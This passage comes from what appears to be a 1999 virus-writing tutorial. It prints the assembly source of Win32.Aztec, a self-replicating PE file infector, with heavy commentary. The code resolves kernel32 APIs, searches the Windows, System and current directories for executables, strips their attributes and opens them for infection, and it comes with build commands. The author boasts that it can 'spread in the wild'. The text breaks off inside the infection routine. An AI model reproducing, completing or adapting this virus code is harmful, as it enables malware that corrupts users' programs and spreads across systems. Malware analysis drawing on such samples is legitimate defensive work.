 GetAPIs         proc

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ok, this is the code for get ALL the APIs by using the procedure descri- ;
 ; bed before. It's parameters are:                                        ;
 ;                                                                         ;
 ; INPUT  0 ESI : Pointer to the first wanted API name in ASCIIz           ;
 ;        0 EDI : Pointer to the variable that will hold first wanted API  ;
 ; OUTPUT 0 Nothing.                                                       ;
 ;                                                                         ;
 ; Well, the structure i assume for get all those values is the following  ;
 ; one:                                                                    ;
 ;                                                                         ;
 ; ESI points to ——0 db       "FindFirstFileA",0                           ;
 ;                db       "FindNextFileA",0                               ;
 ;                db       "CloseHandle",0                                 ;
 ;                [...]                                                    ;
 ;                db       0BBh ; Marks the end of this array              ;
 ;                                                                         ;
 ; EDI points to ——0 dd       00000000h ; Future address of FFFA           ;
 ;                dd       00000000h ; Future address of FNFA              ;
 ;                dd       00000000h ; Future address of CH                ;
 ;                [...]                                                    ;
 ;                                                                         ;
 ; I hope you are enough clever and you catched it.                        ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 @@1:    push    esi
       push    edi
       call    GetAPI
       pop     edi
       pop     esi
       stosd

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; We push the values we handle in this procedure to avoid their change,    ;
 ; and we call to GetAPI procedure. We assume at this point ESI as a ptr to ;
 ; the wanted API name, and EDI as the pointer to the variable that will    ;
 ; handle the API name. As the function returns us API offset in EAX, we    ;
 ; save it in its correspondent vzriable pointed by EDI with a simple STOSD ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

 @@2:    cmp     byte ptr [esi],0
       jz      @@3
       inc     esi
       jmp     @@2
 @@3:    cmp     byte ptr [esi+1],0BBh
       jz      @@4
       inc     esi
       jmp     @@1
 @@4:    ret
 GetAPIs         endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; Could be done much more optimized, i know, but works for my explanation. ;
 ; Well, what we do firstly is to reach the end of the string of what we    ;
 ; asked the address before, and now it points to the next API. But we want ;
 ; to know if it is the last API, so we check for our mark, the byte 0BBh   ;
 ; (Guess why is 0BBh?). If it is, we got all needed APIs, and if not, we   ;
 ; continue our search.                                            ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

 ;——[ CUT HERE ]———————————————————————————————————————————————————————————
```

Heh, i wrote those procedures as easy as i could, and i commented them a lot expecting that you will understand the concept without copying. And if you copy ain't my problem... hehe, i don't give a shit about it :) But, now the question raised is for what APIs we should search, and this matter depends of the way of arrive just to before the PE manipulation. As i will show you a direct action (aka runtime) version of a virus that uses the file mapping technique (more easily manipulable and more fast way of infection), i will present you the APIs that you could use.

% An example virus %

Don't believe that i am crazy. I will put here the code of a virus simply for avoid the boring explanation of all API thingies all together, thus also seeing them in action :) Well, here you have one of my last creations. I took one afternoon to be finished: i based it in Win95.Iced Earth, but without bugs and special features. Enjoy this Win32.Aztec! (Yeah, Win32!!!).

```
;───[ CUT HERE ]──────────────────────────────────────────────────────────────
; [Win32.Aztec v1.01] - Bugfixed lite version of Iced Earth
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; Virus Name    : Aztec v1.01
; Virus Author  : Billy Belcebu/iKX
; Origin        : Spain
; Platform      : Win32
; Target        : PE files
; Compiling     : TASM 5.0 and TLINK 5.0 should be used
;                   tasm32 /ml /m3 aztec,,;
;                   tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib,
;                   pewrsec aztec.exe
; Notes         : Anything special this time. Simply a heavy bug-fixing of
;               Iced Earth virus, and removed any special feature on
;               purpose. This is really a virus for learn Win32.
; Why 'Aztec'?  : Why that name? Many reasons:
;               · If there is an Inca virus and a Maya virus... ;)
;               · I lived in Mexico six months of my life
;               · I hate the fascist way that Hernan Cortes used for steal
;                 their territory to the Aztecs
;               · I like the kind of mithology they had ;)
;               · My shitty soundcard is an Aztec :)
;               · I love Salma Hayek! :)~
;               · KidChaos is a friend :)
; Greetings     : Well, this time only greets to all the ppl at EZLN & MRTA.
;               Good luck all, and... keep'on fighting!
;
; (c) 1999 Billy Belcebu/iKX

       .386p                                  ; 386+ required =)
       .model  flat                           ; 32 bit registers, no segs.
       jumps                                  ; For avoid jumps out of range

extrn   MessageBoxA:PROC                        ; 1st generation imported
extrn   ExitProcess:PROC                      ; APIs :)

; Some equates useful for the virus

virus_size      equu    (offset virus_end-offset virus_start)
heap_size       equ     (offset heap_end-offset heap_start)
total_size      equ     virus_size+heap_size
shit_size       equ     (offset delta-offset aztec)

; Only hardcoded for 1st generation, don't worry ;)

kernel_         equ     0BFF70000h
kernel_wNT      equ     077F00000h

        .data

szTitle         db      "[Win32.Aztec v1.01]",0

szMessage       db      "Aztec is a bugfixed version of my Iced Earth",10
                db      "virus, with some optimizations and with some",10
                db      "'special' features removed. Anyway, it will",10
                db      "be able to spread in the wild succefully :)",10,10
                db      "(c) 1999 by Billy Belcebu/iKX",0

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; All this is a shit: there are some macros for make the code more good-   ;
 ; looking, and there is some stuff for the first generation, etc.          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

        .code

virus_start     label   byte

aztec:
        pushad                                ; Push all the registers
        pushfd                                ; Push the FLAG register

        call    delta                         ; Hardest code to undestand ;)
delta:  pop     ebp
        mov     eax,ebp
        sub     ebp,offset delta

        sub     eax,shit_size                 ; Obtain the Image Base on
        sub     eax,00001000h                 ; the fly
```

```
NewEIP  equu    $-4
        mov     dword ptr [ebp+ModBase],eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; Ok. First of all, i push into the stack all the registers and all the   ;
 ; flags (not because it's needed, just because i like to do it always).   ;
 ; After that, what i do is very important. Yes! It is the delta offset! We ;
 ; must get it because the reason you must know: we don't know where the   ;
 ; fuck we are executing the code, so with this we can know it easily... I  ;
 ; won't tell you more about delta offset coz i am sure that you know about ;
 ; it from DOS coding ;) Well, what follows it is the way to obtain exactly ;
 ; the Image Base of the current process, that is needed for return control ;
 ; to the host (will be done later). Firstly we substract the bytes between ;
 ; delta label and aztec label (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)),   ;
 ; after that we substract the current EIP (patched at infection time), and ;
 ; voila! We have the current Image Base.                                 ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;


        mov     esi,[esp+24h]                   ; Get program return address
        and     esi,0FFFF0000h                  ; Align to 10 pages
        mov     ecx,5                          ; 50 pages (in groups of 10)
        call    GetK32                         ; Call it
        mov     dword ptr [ebp+kernel],eax      ; EAX must be K32 base address

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; Well, fisrtly we put in ESI the address from the process was called (it  ;
 ; is in KERNEL32.DLL, probably CreateProcess API), that is initially in da ;
 ; address pointed by ESP, but as we used the stack for push 24 bytes (20   ;
 ; used with the PUSHAD, the other 4 by the PUSHFD), we have to fix it. And ;
 ; after that we align it to 10 pages, making the less significant word of  ;
 ; ESI to be 0. After that we set the other parameter for the GetK32 proce- ;
 ; dure, ECX, that holds the maximum number of groups of 10 pages to look   ;
 ; for to 5 (that is 5*10=50 pages), and after that we call to the routine. ;
 ; As it will return us the correct KERNEL32 base address, we store it.    ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

        lea     edi,[ebp+@@Offsetz]
        lea     esi,[ebp+@@Namez]
        call    GetAPIs                        ; Retrieve all APIs

        call    PrepareInfection
        call    InfectItAll
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Firstly we set up the parameters for the GetAPIs routine, that is in EDI ;
 ; a pointer to an array of DWORDs that will hold the API addresses, and in ;
 ; ESI all the API ASCIIz names to search for.                          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        xchg   ebp,ecx                    ; Is 1st gen?
        jecxz  fakehost

        popfd                            ; Restore all flags
        popad                            ; Restore all registers

        mov    eax,12345678h
        org    $-4
OldEIP  dd     00001000h

        add    eax,12345678h
        org    $-4
ModBase dd     00400000h

        jmp    eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Firstly we see if we are in the first generation of the virus, by means  ;
 ; of checking if EBP is equal to zero. If it is, we jump to the first gen. ;
 ; host. But if it is not, we pull from stack firstly the FLAGs register,   ;
 ; and after all the extended registers. After that we have the instruction ;
 ; that puts in EAX the old entrypoint that the infected program had (that  ;
 ; is patched at infection time), and after that we add to it the ImageBase ;
 ; of the current process (patched at runtime). So we go to it!           ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

PrepareInfection:
        lea    edi,[ebp+WindowsDir]          ; Pointer to the 1st dir
        push   7Fh                        ; Push the size of the buffer
        push   edi                        ; Push address of that buffer
        call   [ebp+_GetWindowsDirectoryA]     ; Get windoze dir

        add    edi,7Fh                    ; Pointer to the 2nd dir
        push   7Fh                        ; Push the size of the buffer
        push   edi                        ; Push address of that buffer
        call   [ebp+_GetSystemDirectoryA]      ; Get windoze\system dir

        add    edi,7Fh                    ; Pointer to the 3rd dir
```

```
        push    edi                         ; Push address of that buffer
        push    7Fh                         ; Push the size of the buffer
        call    [ebp+_GetCurrentDirectoryA]     ; Get current dir
        ret

;-------------------------------------------------------------------------;
; Well, this is a simple procedure that is used for obtain all the dirs    ;
; where the virus will search for files to infect, and in this particular  ;
; order. As the maximum length of a directory are 7F bytes, i've put in    ;
; the heap (see below) three consecutive variables, thus avoiding unuseful ;
; code to ocuppy more bytes, and unuseful data to travel with the virus.   ;
; Please note that there is not any mistake in the last API, because the   ;
; order changes in that API. Let's make a more deep analisys of that APIs: ;
;                                                                     ;
; The GetWindowsDirectory function retrieves the path of the Windows dir.  ;
; The Windows directory contains such files as Windows-based applications, ;
; initialization files, and Help files.                                    ;
;                                                                     ;
; UINT GetWindowsDirectory(                                              ;
;   LPTSTR lpBuffer,    // address of buffer for Windows directory        ;
;   UINT uSize  // size of directory buffer                              ;
;  );                                                                   ;
;                                                                     ;
; Parameters                                                            ;
; ──────────                                                            ;
; ■ lpBuffer: Points to the buffer to receive the null-terminated string   ;
;   containing the path. This path does not end with a backslash unless da ;
;   Windows directory is the root directory. For example, if the Windows   ;
;   directory is named WINDOWS on drive C, the path of the Windows direct- ;
;   ory retrieved by this function is C:\WINDOWS. If Windows was installed ;
;   in the root directory of drive C, the path retrieved is C:\.         ;
; ■ uSize: Specifies the maximum size, in characters, of the buffer speci- ;
;   fied by the lpBuffer parameter. This value should be set to at least   ;
;   MAX_PATH to allow sufficient room in the buffer for the path.        ;
;                                                                     ;
; Return Values                                                         ;
; ─────────────                                                         ;
;                                                                     ;
; ■ If the function succeeds, the return value is the length, in chars, of ;
;   the string copied to the buffer, not including the terminating null    ;
;   character.                                                          ;
; ■ If the length is greater than the size of the buffer, the return value ;
;   is the size of the buffer required to hold the path.                ;
;                                                                     ;
; ---                                                               ;
;                                                                   ;
; The GetSystemDirectory function retrieves the path of the Windows system ;
; directory. The system directory contains such files as Windows libraries ;
; drivers, and font files.                                              ;
;                                                                   ;
; UINT GetSystemDirectory(                                              ;
;   LPTSTR lpBuffer,    // address of buffer for system directory         ;
;   UINT uSize  // size of directory buffer                              ;
;  );                                                                ;
;                                                                   ;
;                                                                   ;
; Parameters                                                          ;
; __________                                                          ;
;                                                                   ;
; ■ lpBuffer: Points to the buffer to receive the null-terminated string   ;
;   containing the path. This path does not end with a backslash unless da ;
;   system directory is the root directory. For example, if the system     ;
;   directory is named WINDOWS\SYSTEM on drive C, the path of the system   ;
;   directory retrieved by this function is C:\WINDOWS\SYSTEM.           ;
;                                                                   ;
; ■ uSize: Specifies the maximum size of the buffer, in characters. This   ;
;   value should be set to at least MAX_PATH.                           ;
;                                                                   ;
; Return Values                                                       ;
; _____________                                                       ;
;                                                                   ;
; ■ If the function succeeds, the return value is the length, in chars, of ;
;   the string copied to the buffer, not including the terminating null    ;
;   character. If the length is greater than the size of the buffer, the   ;
;   return value is the size of the buffer required to hold the path.     ;
;                                                                   ;
; ---                                                               ;
;                                                                   ;
; The GetCurrentDirectory function retrieves the current directory for the ;
; current process.                                                     ;
;                                                                   ;
; DWORD GetCurrentDirectory(                                            ;
;   DWORD nBufferLength,       // size in characters, of directory buffer ;
;   LPTSTR lpBuffer    // address of buffer for current directory        ;
;  );                                                                ;
;                                                                   ;
; Parameters                                                          ;
; __________                                                          ;
;                                                                     ;
; ■ nBufferLength: Specifies the length, in characters, of the buffer for ;
;   the current directory string. The buffer length must include room for ;
;   a terminating null character.                                     ;
;                                                                     ;
; ■ lpBuffer: Points to the buffer for the current directory string. This ;
;   null-terminated string specifies the absolute path to the current     ;
;   directory.                                                        ;
;                                                                     ;
; Return Values                                                       ;
; ─────────────                                                       ;
;                                                                     ;
; ■ If the function succeeds, the return value specifies the number of    ;
;   characters written to the buffer, not including the terminating null   ;
;   character.                                                        ;
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

InfectItAll:
        lea     edi,[ebp+directories]          ; Pointer to 1st directory
        mov     byte ptr [ebp+mirrormirror],03h ; 3 directories
requiem:
        push    edi                            ; Set dir pointed by EDI
        call    [ebp+_SetCurrentDirectoryA]

        push    edi                            ; Save EDI
        call    Infect                         ; Infect files in selected dir
        pop     edi                            ; Restore EDI

        add     edi,7Fh                        ; Another directory

        dec     byte ptr [ebp+mirrormirror]     ; Decrease counter
        jnz     requiem                        ; Is last? No, let's go again
        ret

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
; What we do at the beginning is to make EDI to point to the first dir in  ;
; the array, and after that we set up the number of directories we want to ;
; infect (dirs2inf=3). Well, after that we have the main loop. It consists ;
; in the following: we change the directory to the current selected dir of ;
; the array, we infect all the wanted files in that directory, and we get  ;
; another directory until we completed the 3 we want. Simple, huh? :) Well ;
; it is time to see the characteristics of SetCurrentDirectory API:       ;
;                                                                     ;
; The SetCurrentDirectory function changes the current directory for the   ;
```

```
 ; current process.                                                  ;
 ;                                                                   ;
 ; BOOL SetCurrentDirectory(                                         ;
 ;   LPCTSTR lpPathName  // address of name of new current directory        ;
 ;  );                                                               ;
 ;                                                                   ;
 ; Parameters                                                        ;
 ; ----------                                                        ;
 ;                                                                   ;
 ; ■ lpPathName: Points to a null-terminated string that specifies the path ;
 ;   to the new current directory. This parameter may be a relative path or ;
 ;   a fully qualified path. In either case, the fully qualified path of    ;
 ;   the specified directory is calculated and stored as the current        ;
 ;   directory.                                                      ;
 ;                                                                   ;
 ; Return Values                                                     ;
 ; -------------                                                     ;
 ;                                                                   ;
 ; ■ If the function succeeds, the return value is nonzero.                ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

Infect: and    dword ptr [ebp+infections],00000000h ; reset countah

        lea    eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit structure
        push   eax                          ; Push it
        lea    eax,[ebp+offset EXE_MASK]      ; Mask to search for
        push   eax                          ; Push it

        call   [ebp+_FindFirstFileA]          ; Get first matching file

        inc    eax                          ; CMP EAX,0FFFFFFFFh
        jz     FailInfect                    ; JZ  FAILINFECT
        dec    eax

        mov    dword ptr [ebp+SearchHandle],eax ; Save the Search Handle

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; This is the first part of the routine. The first line is just for clear  ;
 ; the infection counter (ie set it to 0) in a more optimized way (AND in   ;
 ; this example is smaller than MOV). Well, having the infection counter    ;
 ; already reseted, it's time to search for files to infect ;) Ok, in DOS   ;
 ; we had INT 21h's services 4Eh/4Fh... Here in Win32 we have 2 equivalent  ;
 ; APIs: FindFirstFile and FindNextFile. Now we want to search for the 1st  ;
 ; file in the directory. All the functions for find files in Win32 have in ;
 ; common a structure (do you remember DTA?) called WIN32_FIND_DATA (many   ;
 ; times shortened to WFD). Let's see the structure fields:                 ;
 ;                                                                          ;
 ; MAX_PATH               equ    260  <-- The maximum size of a path        ;
 ;                                                                          ;
 ; FILETIME               STRUC       <-- Struture for handle the time,     ;
 ; FT_dwLowDateTime        dd     ?       present in many Win32 strucs      ;
 ; FT_dwHighDateTime       dd     ?                                         ;
 ; FILETIME               ENDS                                              ;
 ;                                                                          ;
 ; WIN32_FIND_DATA         STRUC                                            ;
 ; WFD_dwFileAttributes     dd     ?    <-- Contains the file attributtes   ;
 ; WFD_ftCreationTime      FILETIME ?   <-- Moment when da file was created ;
 ; WFD_ftLastAccessTime    FILETIME ?   <-- Last time when file was accessed;
 ; WFD_ftLastWriteTime     FILETIME ?   <-- Last time when file was written ;
 ; WFD_nFileSizeHigh       dd      ?    <-- MSD of file size                ;
 ; WFD_nFileSizeLow        dd      ?    <-- LSD of file size                ;
 ; WFD_dwReserved0         dd      ?    <-- Reserved                        ;
 ; WFD_dwReserved1         dd      ?    <-- Reserved                        ;
 ; WFD_szFileName          db      MAX_PATH dup (?) <-- ASCIIz file name    ;
 ; WFD_szAlternateFileName db       13 dup (?) <-- File name without path   ;
 ;                         db       03 dup (?) <-- Padding                  ;
 ; WIN32_FIND_DATA         ENDS                                             ;
 ;                                                                          ;
 ; ■ dwFileAttributes: Specifies the file attributes of the file found.    ;
 ;   This member can be one or more of the following values [Not enough    ;
 ;   space for include them here:you have them at 29A INC files (29A#2) and ;
 ;   the document said before.]                                             ;
 ;                                                                          ;
 ; ■ ftCreationTime: Specifies a FILETIME structure containing the time the ;
 ;   file was created. FindFirstFile and  FindNextFile report file times in ;
 ;   Coordinated Universal Time (UTC) format. These functions set the       ;
 ;   FILETIME members to zero if the file system containing the file does   ;
 ;   not support this time member. You can use the FileTimeToLocalFileTime  ;
 ;   function to convert from UTC to local time, and then use the           ;
 ;   FileTimeToSystemTime function to convert da local time to a SYSTEMTIME ;
 ;   structure  containing individual  members  for  the month, day, year,  ;
 ;   weekday, hour, minute, second, and millisecond.                        ;
 ;                                                                          ;
 ; ■ ftLastAccessTime: Specifies a FILETIME structure containing the time   ;
 ;   that the file was last accessed.The time is in UTC format;the FILETIME ;
 ;   members are zero if the file system does not support this time member. ;
 ;                                                                          ;
 ; ■ ftLastWriteTime: Specifies a FILETIME structure containing the time    ;
 ;   that da file was last written to.Da time is in UTC format;the FILETIME ;
 ;   members are zero if the file system does not support this time member. ;
 ;                                                               ;
 ; ■ nFileSizeHigh: Specifies the high-order DWORD value of the file size,  ;
 ;   in bytes. This value is zero unless the file size is greater than     ;
 ;   MAXDWORD. The size of the file is equal to (nFileSizeHigh * MAXDWORD)  ;
 ;   + nFileSizeLow.                                               ;
 ;                                                               ;
 ; ■ nFileSizeLow: Specifies the low-order DWORD value of the file size, in ;
 ;   bytes.                                                       ;
 ;                                                               ;
 ; ■ dwReserved0: Reserved for future use.                              ;
 ;                                                               ;
 ; ■ dwReserved1: Reserved for future use.                              ;
 ;                                                               ;
 ; ■ cFileName: A null-terminated string that is the name of the file.     ;
 ;                                                               ;
 ; ■ cAlternateFileName: A null-terminated string that is an alternative    ;
 ; name for the file.This name is in the classic 8.3 (filename.ext) file-   ;
 ; name format.                                                   ;
 ;                                                               ;
 ; Well, as we know now the fields of the WFD structure, we can take a deep ;
 ; look to "Find" functions of Windows. First, let's see the description of ;
 ; the API FindFirstFileA:                                          ;
 ;                                                               ;
 ; The FindFirstFile function searches a directory for a file whose name    ;
 ; matches the specified filename.FindFirstFile examines subdirectory names ;
 ; as well as filenames.                                            ;
 ;                                                               ;
 ; HANDLE FindFirstFile(                                            ;
 ;   LPCTSTR lpFileName,  // pointer to name of file to search for        ;
 ;   LPWIN32_FIND_DATA lpFindFileData   // pointer to returned information ;
 ;  );                                                            ;
 ;                                                               ;
 ; Parameters                                                      ;
 ; ──────────                                                      ;
 ;                                                               ;
 ; ■ lpFileName: A. Windows 95: Points to a null-terminated string that     ;
 ;                  specifies a valid directory or path and filename, which ;
 ;                  can contain wildcard characters (* and ?). This string  ;
 ;                  must not exceed MAX_PATH characters.                ;
 ;               B. Windows NT: Points  to a null-terminated string that    ;
 ;                  specifies a valid directory or path and filename, which ;
 ;                  can contain wildcard characters (* and ?).           ;
 ;                                                                      ;
 ; There is a default string size limit for paths of MAX_PATH characters.   ;
 ; This limit is related to how the FindFirstFile function  parses  paths.  ;
 ; An application can transcend this limit and send in paths longer than    ;
 ; MAX_PATH characters by calling the wide (W) version of FindFirstFile and ;
 ; prepending "\\?\" to  the path.The "\\?\" tells the function to turn off ;
 ; path parsing; it lets paths longer than MAX_PATH be used with          ;
 ; FindFirstFileW. This also works with UNC names. The "\\?\" is ignored as ;
 ; part of the path. For example "\\?\C:\myworld\private" is seen as       ;
 ; "C:\myworld\private", and "\\?\UNC\bill_g_1\hotstuff\coolapps"is seen as ;
 ; "\\bill_g_1\hotstuff\coolapps"                                      ;
 ;                                                                      ;
 ; ■ lpFindFileData: Points to the WIN32_FIND_DATA structure that receives  ;
 ;   information about the found file or subdirectory. The structure can be ;
 ;   used in subsequent calls to the FindNextFile or FindClose function to  ;
 ;   refer to the file or subdirectory.                                ;
 ;                                                                      ;
 ; Return Values                                                          ;
 ; ─────────────                                                          ;
 ;                                                                      ;
 ; ■ If the function succeeds,the return value is a search handle used in a ;
 ;   subsequent call to FindNextFile or FindClose.                       ;
 ;                                                                      ;
 ; ■ If the function fails, the return value is INVALID_HANDLE_VALUE.To get ;
 ;   extended error information, call GetLastError.                      ;
 ;                                                                      ;
 ; So, now you know the meaning of all the parameters of FindFirstFile fun- ;
 ; ction. And, by the way, you know now the last lines of the below code    ;
 ; block :)                                                               ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

__1:    push    dword ptr [ebp+OldEIP]          ; Save OldEIP and ModBase,
       push    dword ptr [ebp+ModBase]         ; changed on infection

       call    Infection                       ; Infect found file

       pop     dword ptr [ebp+ModBase]         ; Restore them
       pop     dword ptr [ebp+OldEIP]

       inc     byte ptr [ebp+infections]       ; Increase counter
       cmp     byte ptr [ebp+infections],05h   ; Over our limit?
       jz      FailInfect                      ; Damn...

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
```

```
 ; The first thing we do is to preserve the contents of some necessary var- ;
 ; iables that will be used laterly when we will return control to host,but ;
 ; painfully these variables are changed when infecting files. We call to   ;
 ; the infection routine: it only needs the WFD information, so we don't    ;
 ; need to pass parameters to it. After infect the corresponding files, we  ;
 ; put the values modified back. And after doing that, we increase the inf- ;
 ; ection counter, and check if we have already infected 5 files (limit of  ;
 ; infections of this virus). If we have done such like thing, the virus    ;
 ; exits from the infection procedure.                                   ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

__2:    lea     edi,[ebp+WFD_szFileName]       ; Ptr to file name
       mov     ecx,MAX_PATH                   ; ECX = 260
       xor     al,al                         ; AL = 00
       rep     stosb                         ; Clear old filename variable

       lea     eax,[ebp+offset WIN32_FIND_DATA] ; Ptr to WFD
       push    eax                           ; Push it
       push    dword ptr [ebp+SearchHandle]    ; Push Search Handle
       call    [ebp+_FindNextFileA]           ; Find another file

       or      eax,eax                       ; Fail?
       jnz     __1                           ; Not, Infect another

CloseSearchHandle:
       push    dword ptr [ebp+SearchHandle]    ; Push search handle
       call    [ebp+_FindClose]              ; And close it

FailInfect:
       ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; The first block of code does a simple thing: it erases the data on the   ;
 ; WFD structure (concretly the file name data). This is done for avoid     ;
 ; problems while finding another file. The next we do is a call to the     ;
 ; FindNextFile API. Here goes the description of such API:               ;
 ;                                                                     ;
 ; The FindNextFile function continues a file search from a previous call   ;
 ; to the FindFirstFile function.                                        ;
 ;                                                                     ;
 ; BOOL FindNextFile(                                                     ;
 ;   HANDLE hFindFile,   // handle to search                              ;
 ;   LPWIN32_FIND_DATA lpFindFileData    // pointer to structure for data   ;
 ;                                  // on found file                   ;
 ;  );                                                            ;
 ;                                                                ;
 ; Parameters                                                      ;
 ; ----------                                                      ;
 ;                                                                ;
 ; ■ hFindFile: Identifies a search handle returned by a previous call to   ;
 ;   the FindFirstFile function.                                     ;
 ;                                                                ;
 ; ■ lpFindFileData: Points to the WIN32_FIND_DATA structure that receives  ;
 ;   information about the found file or subdirectory. The structure can be ;
 ;   used in subsequent calls to FindNextFile to refer to the found file or ;
 ;   directory.                                                      ;
 ;                                                                ;
 ; Return Values                                                   ;
 ; -------------                                                   ;
 ;                                                                ;
 ; ■ If the function succeeds, the return value is nonzero.               ;
 ;                                                                ;
 ; ■ If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                   ;
 ;                                                                ;
 ; ■ If  no matching files  can be found, the GetLastError function returns ;
 ;   ERROR_NO_MORE_FILES.                                             ;
 ;                                                                ;
 ; If the FindNextFile returned error, or if the virus has reached the max- ;
 ; imum number of infections possible,we arrive to the last routine of this ;
 ; block. It consist in closing the search handle with the FindClose API.   ;
 ; As usual, here comes the description of such API:                     ;
 ;                                                                ;
 ; The FindClose function closes the specified search handle. The         ;
 ; FindFirstFile and FindNextFile functions use the search handle to locate ;
 ; files with names that match a given name.                           ;
 ;                                                                ;
 ; BOOL FindClose(                                                  ;
 ;   HANDLE hFindFile   // file search handle                          ;
 ;  );                                                            ;
 ;                                                                ;
 ;                                                                ;
 ; Parameters                                                      ;
 ; ----------                                                      ;
 ;                                                                ;
 ; ■ hFindFile: Identifies the search handle. This handle must have been    ;
 ;   previously opened by the FindFirstFile function.                    ;
 ;                                                                ;
```

```
 ; Return Values                                                    ;
 ; ─────────────                                                    ;
 ;                                                                  ;
 ; ■ If the function succeeds, the return value is nonzero.         ;
 ;                                                                  ;
 ; ■ If the function fails, the return value is zero. To get extended error ;
 ;   information, call GetLastError                                 ;
 ;                                                                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;

Infection:
        lea     esi,[ebp+WFD_szFileName]        ; Get FileName to infect
        push    80h
        push    esi
        call    [ebp+_SetFileAttributesA]       ; Wipe its attributes

        call    OpenFile                        ; Open it

        inc     eax                             ; If EAX = -1, there was an
        jz      CantOpen                        ; error
        dec     eax

        mov     dword ptr [ebp+FileHandle],eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-;
 ; The first we do is to wipeout the file attributes, and setting them to  ;
 ; "Normal file". This is done by the SetFileAttributes API. Here you have ;
 ; a brief explanation of that API:                                 ;
 ;                                                                  ;
 ; The SetFileAttributes function sets a file's attributes.         ;
 ;                                                                  ;
 ; BOOL SetFileAttributes(                                          ;
 ;   LPCTSTR lpFileName, // address of filename                     ;
 ;   DWORD dwFileAttributes     // address of attributes to set     ;
 ;  );                                                              ;
 ;                                                                  ;
 ; Parameters                                                       ;
 ; ──────────                                                       ;
 ;                                                                  ;
 ; ■ lpFileName: Points to a string that specifies da name of da file whose ;
 ;   attributes are to be set.                                      ;
 ;                                                                  ;
 ; ■ dwFileAttributes: Specifies da file attributes to set for da file.This ;
 ;   parameter can be a combination of the following values. However, all  ;
 ;  other values override FILE_ATTRIBUTE_NORMAL.                        ;
 ;                                                               ;
 ; Return Values                                                   ;
 ; ─────────────                                                   ;
 ;                                                               ;
 ; ■ If the function succeeds, the return value is nonzero.               ;
 ;                                                               ;
 ; ■ If the function fails, the return value is zero. To get extended error ;
 ;  information, call GetLastError                                    ;
 ;                                                               ;
 ; After set the new attributes, we open the file, and, if no error happe-  ;
 ; ned, it stores the handle in its variable.                            ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

